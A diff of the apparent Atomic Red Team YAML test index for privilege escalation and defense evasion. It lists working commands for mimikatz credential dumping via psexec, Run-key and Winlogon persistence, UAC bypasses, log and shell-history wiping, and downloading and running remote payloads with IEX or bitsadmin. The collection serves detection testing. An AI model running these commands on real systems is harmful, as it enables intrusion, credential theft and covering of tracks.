[Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" @@ -16807,7 +16807,7 @@ privilege-escalation: command: '#{psexec_path} /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit" -' + ' name: command_prompt elevation_required: false T1055.008: @@ -16984,14 +16984,14 @@ privilege-escalation: command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello World"'' >> /etc/rc.common -' + ' elevation_required: true name: bash - name: rc.common auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a description: 'Modify rc.common -' + ' supported_platforms: - linux executor: @@ -17007,12 +17007,12 @@ privilege-escalation: ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi -' + ' - name: rc.local auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102 description: 'Modify rc.local -' + ' supported_platforms: - linux executor: @@ -17028,7 +17028,7 @@ privilege-escalation: ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi -' + ' T1547.007: technique: created: '2020-01-24T18:15:06.641Z' @@ -17110,10 +17110,10 @@ privilege-escalation: executor: command: 'sudo defaults write com.apple.loginwindow LoginHook #{script} -' + ' cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook -' + ' elevation_required: true name: sh T1547.001: @@ -17239,11 +17239,11 @@ privilege-escalation: command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}" -' + ' cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1 -' + ' name: command_prompt - name: Reg Key RunOnce auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb @@ -17261,11 +17261,11 @@ privilege-escalation: command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}" -' + ' cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: PowerShell Registry RunOnce @@ -17291,7 +17291,7 @@ privilege-escalation: cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Suspicious vbs file run from startup Folder @@ -17532,7 +17532,7 @@ privilege-escalation: description: 'Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. -' + ' supported_platforms: - windows input_arguments: @@ -17549,10 +17549,10 @@ privilege-escalation: elevation_required: false command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} -' + ' cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1 -' + ' - name: Scheduled task Remote auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd description: | @@ -17588,11 +17588,11 @@ privilege-escalation: command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} -' + ' cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1 -' + ' - name: Powershell Cmdlet Scheduled Task auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd description: | @@ -17614,7 +17614,7 @@ privilege-escalation: cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1 -' + ' - name: Task Scheduler via VBA auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3 description: | @@ -17631,7 +17631,7 @@ privilege-escalation: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -17642,7 +17642,7 @@ privilege-escalation: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" @@ -17655,7 +17655,7 @@ privilege-escalation: login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes. -' + ' supported_platforms: - windows executor: @@ -17667,7 +17667,7 @@ privilege-escalation: cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1 -' + ' T1053: technique: id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 @@ -17803,7 +17803,7 @@ privilege-escalation: sets it as the screensaver so it will execute for persistence. Requires a reboot and logon. -' + ' supported_platforms: - windows input_arguments: @@ -18060,7 +18060,7 @@ privilege-escalation: description: 'Change Service registry ImagePath of a bengin service to a malicious file -' + ' supported_platforms: - windows input_arguments: @@ -18080,22 +18080,22 @@ privilege-escalation: dependencies: - description: 'The service must exist (#{weak_service_name}) -' + ' prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" -' + ' executor: command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" -' + ' cleanup_command: 'sc.exe delete #{weak_service_name} -' + ' name: command_prompt T1548.001: technique: @@ -18151,7 +18151,7 @@ privilege-escalation: description: 'Make, change owner, and change file attributes on a C source code file -' + ' supported_platforms: - macos - linux @@ -18177,7 +18177,7 @@ privilege-escalation: auto_generated_guid: 759055b3-3885-4582-a8ec-c00c9d64dd79 description: 'This test sets the SetUID flag on a file in Linux and macOS. -' + ' supported_platforms: - macos - linux @@ -18193,14 +18193,14 @@ privilege-escalation: sudo chmod u+s #{file_to_setuid} cleanup_command: 'sudo rm #{file_to_setuid} -' + ' name: sh elevation_required: true - name: Set a SetGID flag on file auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c description: 'This test sets the SetGID flag on a file in Linux and macOS. -' + ' supported_platforms: - macos - linux @@ -18216,7 +18216,7 @@ privilege-escalation: sudo chmod g+s #{file_to_setuid} cleanup_command: 'sudo rm #{file_to_setuid} -' + ' name: sh elevation_required: true - name: Make and modify capabilities of a binary @@ -18248,7 +18248,7 @@ privilege-escalation: description: 'This test gives a file the capability to set UID without using flags. -' + ' supported_platforms: - linux input_arguments: @@ -18262,7 +18262,7 @@ privilege-escalation: sudo setcap cap_setuid=ep #{file_to_setcap} cleanup_command: 'rm #{file_to_setcap} -' + ' name: sh elevation_required: true T1547.009: @@ -18336,7 +18336,7 @@ privilege-escalation: #{shortcut_file_path} cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1 -' + ' name: command_prompt - name: Create shortcut to cmd in startup folders auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2 @@ -18437,10 +18437,10 @@ privilege-escalation: executor: command: 'sudo touch /Library/StartupItems/EvilStartup.plist -' + ' cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist -' + ' name: sh elevation_required: true T1548.003: @@ -18508,7 +18508,7 @@ privilege-escalation: auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e description: 'Common Sudo enumeration methods. -' + ' supported_platforms: - macos - linux @@ -18522,7 +18522,7 @@ privilege-escalation: This is dangerous to modify without using ''visudo'', do not do this on a production system. -' + ' supported_platforms: - macos - linux @@ -18537,7 +18537,7 @@ privilege-escalation: description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using ''visudo'', do not do this on a production system. -' + ' supported_platforms: - macos - linux @@ -18643,7 +18643,7 @@ privilege-escalation: description: 'This test creates a Systemd service unit file and enables it as a service. -' + ' supported_platforms: - linux input_arguments: @@ -18716,15 +18716,15 @@ privilege-escalation: dependencies: - description: 'System must be Ubuntu ,Kali OR CentOS. -' + ' prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi; -' + ' get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS. -' + ' executor: name: bash elevation_required: true @@ -19331,7 +19331,7 @@ privilege-escalation: auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f description: 'Adds a command to the .bash_profile file of the current user -' + ' supported_platforms: - macos - linux @@ -19343,13 +19343,13 @@ privilege-escalation: executor: command: 'echo "#{command_to_add}" >> ~/.bash_profile -' + ' name: sh - name: Add command to .bashrc auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f description: 'Adds a command to the .bashrc file of the current user -' + ' supported_platforms: - macos - linux @@ -19361,7 +19361,7 @@ privilege-escalation: executor: command: 'echo "#{command_to_add}" >> ~/.bashrc -' + ' name: sh T1055.014: technique: @@ -19796,10 +19796,10 @@ privilege-escalation: dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) -' + ' prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" @@ -19832,10 +19832,10 @@ privilege-escalation: dependencies: - description: 'Service binary must exist on disk at specified location (#{binary_path}) -' + ' prereq_command: 'if (Test-Path #{binary_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" @@ -19931,11 +19931,11 @@ privilege-escalation: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force -' + ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore -' + ' name: powershell - name: Winlogon Userinit Key Persistence - PowerShell auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb @@ -19954,11 +19954,11 @@ privilege-escalation: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force -' + ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore -' + ' name: powershell - name: Winlogon Notify Key Logon Persistence - PowerShell auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9 @@ -19980,7 +19980,7 @@ privilege-escalation: cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore -' + ' name: powershell T1547.013: technique: @@ -20474,10 +20474,10 @@ defense-evasion: command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file} -' + ' cleanup_command: 'del #{local_file} >nul 2>&1 -' + ' name: command_prompt - name: Bitsadmin Download (PowerShell) auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc @@ -20501,10 +20501,10 @@ defense-evasion: command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file} -' + ' cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore -' + ' name: powershell - name: Persist, Download, & Execute auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae @@ -20542,7 +20542,7 @@ defense-evasion: bitsadmin.exe /complete #{bits_job_name} cleanup_command: 'del #{local_file} >nul 2>&1 -' + ' name: command_prompt - name: Bits download using desktopimgdownldr.exe (cmd) auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114 @@ -20574,10 +20574,10 @@ defense-evasion: command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr -' + ' cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >null 2>&1 -' + ' name: command_prompt T1027.001: technique: @@ -20667,20 +20667,20 @@ defense-evasion: dependencies: - description: 'The binary must exist on disk at specified location (#{file_to_pad}) -' + ' prereq_command: 'if [ -f #{file_to_pad} ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'cp /bin/ls #{file_to_pad} -' + ' executor: command: 'dd if=/dev/zero bs=1 count=1 >> #{file_to_pad} -' + ' cleanup_command: 'rm #{file_to_pad} -' + ' name: sh T1542.003: technique: @@ -20913,7 +20913,7 @@ defense-evasion: cmd.exe /c eventvwr.msc cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1 -' + ' name: command_prompt - name: Bypass UAC using Event Viewer (PowerShell) auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b @@ -20935,7 +20935,7 @@ defense-evasion: cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore -' + ' name: powershell - name: Bypass UAC using Fodhelper auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182 @@ -20957,7 +20957,7 @@ defense-evasion: cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1 -' + ' name: command_prompt - name: Bypass UAC using Fodhelper - PowerShell auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa @@ -20980,7 +20980,7 @@ defense-evasion: cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore -' + ' name: powershell - name: Bypass UAC using ComputerDefaults (PowerShell) auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f @@ -21003,7 +21003,7 @@ defense-evasion: cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Bypass UAC by Mocking Trusted Directories @@ -21051,7 +21051,7 @@ defense-evasion: cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore -' + ' name: powershell - name: Disable UAC using reg.exe auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9 @@ -21064,11 +21064,11 @@ defense-evasion: command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f -' + ' cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f -' + ' name: command_prompt elevation_required: true - name: Bypass UAC using SilentCleanup task @@ -21115,7 +21115,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21126,7 +21126,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21151,7 +21151,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21162,7 +21162,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21186,7 +21186,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21197,7 +21197,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21222,7 +21222,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21233,7 +21233,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21257,7 +21257,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21268,7 +21268,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21292,7 +21292,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21303,7 +21303,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21328,7 +21328,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21339,7 +21339,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21364,7 +21364,7 @@ defense-evasion: dependencies: - description: 'UACME executable must exist on disk at specified location (#{uacme_exe}) -' + ' prereq_command: | $tempPath = cmd /c echo #{uacme_exe} if (Test-Path "$tempPath") {exit 0} else {exit 1} @@ -21375,7 +21375,7 @@ defense-evasion: executor: command: '"#{uacme_exe}" -' + ' cleanup_command: | powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore @@ -21457,7 +21457,7 @@ defense-evasion: description: 'Adversaries may supply CMSTP.exe with INF files infected with malicious commands -' + ' supported_platforms: - windows input_arguments: @@ -21469,24 +21469,24 @@ defense-evasion: dependencies: - description: 'INF file must exist on disk at specified location (#{inf_file_path}) -' + ' prereq_command: 'if (Test-Path #{inf_file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_file_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T218.003.inf" -OutFile "#{inf_file_path}" executor: command: 'cmstp.exe /s #{inf_file_path} -' + ' name: command_prompt - name: CMSTP Executing UAC Bypass auto_generated_guid: 748cb4f6-2fb3-4e97-b7ad-b22635a09ab0 description: 'Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file -' + ' supported_platforms: - windows input_arguments: @@ -21498,17 +21498,17 @@ defense-evasion: dependencies: - description: 'INF file must exist on disk at specified location (#{inf_file_uac}) -' + ' prereq_command: 'if (Test-Path #{inf_file_uac}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{inf_file_uac}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.003/src/T1218.003_uacbypass.inf" -OutFile "#{inf_file_uac}" executor: command: 'cmstp.exe /s #{inf_file_uac} /au -' + ' name: command_prompt T1574.012: technique: @@ -21619,7 +21619,7 @@ defense-evasion: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -21664,7 +21664,7 @@ defense-evasion: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -21702,7 +21702,7 @@ defense-evasion: - description: "#{file_name} must be present\n" prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" @@ -21786,71 +21786,71 @@ defense-evasion: auto_generated_guid: a934276e-2be5-4a36-93fd-98adbb5bd4fc description: 'Clears bash history via rm -' + ' supported_platforms: - linux - macos executor: command: 'rm ~/.bash_history -' + ' name: sh - name: Clear Bash history (echo) auto_generated_guid: cbf506a5-dd78-43e5-be7e-a46b7c7a0a11 description: 'Clears bash history via rm -' + ' supported_platforms: - linux executor: command: 'echo "" > ~/.bash_history -' + ' name: sh - name: Clear Bash history (cat dev/null) auto_generated_guid: b1251c35-dcd3-4ea1-86da-36d27b54f31f description: 'Clears bash history via cat /dev/null -' + ' supported_platforms: - linux - macos executor: command: 'cat /dev/null > ~/.bash_history -' + ' name: sh - name: Clear Bash history (ln dev/null) auto_generated_guid: 23d348f3-cc5c-4ba9-bd0a-ae09069f0914 description: 'Clears bash history via a symlink to /dev/null -' + ' supported_platforms: - linux - macos executor: command: 'ln -sf /dev/null ~/.bash_history -' + ' name: sh - name: Clear Bash history (truncate) auto_generated_guid: 47966a1d-df4f-4078-af65-db6d9aa20739 description: 'Clears bash history via truncate -' + ' supported_platforms: - linux executor: command: 'truncate -s0 ~/.bash_history -' + ' name: sh - name: Clear history of a bunch of shells auto_generated_guid: 7e6721df-5f08-4370-9255-f06d8a77af4c description: 'Clears the history of a bunch of different shell types by setting the history size to zero -' + ' supported_platforms: - linux - macos @@ -21865,7 +21865,7 @@ defense-evasion: description: 'Clears the history and disable bash history logging of the current shell and future shell sessions -' + ' supported_platforms: - linux - macos @@ -21885,7 +21885,7 @@ defense-evasion: description: 'Using a space before a command causes the command to not be logged in the Bash History file -' + ' supported_platforms: - linux - macos @@ -21900,13 +21900,13 @@ defense-evasion: keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog -' + ' supported_platforms: - linux dependencies: - description: 'Install sshpass and create user account used for excuting -' + ' prereq_command: | /usr/sbin/useradd testuser1 echo pwd101! | passwd testuser1 --stdin @@ -21916,35 +21916,35 @@ defense-evasion: executor: command: 'sshpass -p ''pwd101!'' ssh testuser1@localhost -T hostname -' + ' cleanup_command: 'userdel -f testuser1 -' + ' name: sh - name: Prevent Powershell History Logging auto_generated_guid: 2f898b81-3e97-4abb-bc3f-a95138988370 description: 'Prevents Powershell history -' + ' supported_platforms: - windows executor: command: 'Set-PSReadlineOption –HistorySaveStyle SaveNothing -' + ' name: powershell cleanup_command: Set-PSReadLineOption -HistorySaveStyle SaveIncrementally - name: Clear Powershell History by Deleting History File auto_generated_guid: da75ae8d-26d6-4483-b0fe-700e4df4f037 description: 'Clears Powershell history -' + ' supported_platforms: - windows executor: command: 'Remove-Item (Get-PSReadlineOption).HistorySavePath -' + ' name: powershell T1070.002: technique: @@ -21995,7 +21995,7 @@ defense-evasion: auto_generated_guid: 989cc1b1-3642-4260-a809-54f9dd559683 description: 'Delete system and audit logs -' + ' supported_platforms: - macos - linux @@ -22011,7 +22011,7 @@ defense-evasion: This technique was used by threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - linux input_arguments: @@ -22022,14 +22022,14 @@ defense-evasion: executor: command: 'echo 0> /var/spool/mail/#{username} -' + ' name: bash - name: Overwrite Linux Log auto_generated_guid: d304b2dc-90b4-4465-a650-16ddd503f7b5 description: 'This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers. -' + ' supported_platforms: - linux input_arguments: @@ -22040,7 +22040,7 @@ defense-evasion: executor: command: 'echo 0> #{log_path} -' + ' name: bash T1070.001: technique: @@ -22108,7 +22108,7 @@ defense-evasion: System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty. -' + ' supported_platforms: - windows input_arguments: @@ -22119,7 +22119,7 @@ defense-evasion: executor: command: 'wevtutil cl #{log_name} -' + ' name: command_prompt elevation_required: true - name: Delete System Logs Using Clear-EventLog @@ -22148,7 +22148,7 @@ defense-evasion: dependencies: - description: 'Microsoft Word must be installed -' + ' prereq_command: | try { New-Object -COMObject "Word.Application" | Out-Null @@ -22158,7 +22158,7 @@ defense-evasion: get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -22469,10 +22469,10 @@ defense-evasion: dependencies: - description: 'C# file must exist on disk at specified location (#{input_file}) -' + ' prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs" -OutFile "#{input_file}" @@ -22480,10 +22480,10 @@ defense-evasion: command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:#{output_file} #{input_file} -' + ' cleanup_command: 'del #{output_file} >nul 2>&1 -' + ' name: command_prompt - name: Dynamic C# Compile auto_generated_guid: 453614d8-3ba6-4147-acc0-7ec4b3e1faef @@ -22505,18 +22505,18 @@ defense-evasion: dependencies: - description: 'exe file must exist on disk at specified location (#{input_file}) -' + ' prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe -OutFile #{input_file} -' + ' executor: command: 'Invoke-Expression #{input_file} -' + ' name: powershell T1218.001: technique: @@ -22596,17 +22596,17 @@ defense-evasion: dependencies: - description: 'The payload must exist on disk at specified location (#{local_chm_file}) -' + ' prereq_command: 'if (Test-Path #{local_chm_file}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{local_chm_file}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}" executor: command: 'hh.exe #{local_chm_file} -' + ' name: command_prompt - name: Compiled HTML Help Remote Payload auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d @@ -22623,7 +22623,7 @@ defense-evasion: executor: command: 'hh.exe #{remote_chm_file} -' + ' name: command_prompt - name: Invoke CHM with default Shortcut Command Execution auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7 @@ -22649,7 +22649,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}' @@ -22682,7 +22682,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}' @@ -22707,7 +22707,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}' name: powershell @@ -22748,7 +22748,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath @@ -22787,7 +22787,7 @@ defense-evasion: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath @@ -22940,17 +22940,17 @@ defense-evasion: dependencies: - description: 'Cpl file must exist on disk at specified location (#{cpl_file_path}) -' + ' prereq_command: 'if (Test-Path #{cpl_file_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{cpl_file_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl" -OutFile "#{cpl_file_path}" executor: command: 'control.exe #{cpl_file_path} -' + ' name: command_prompt 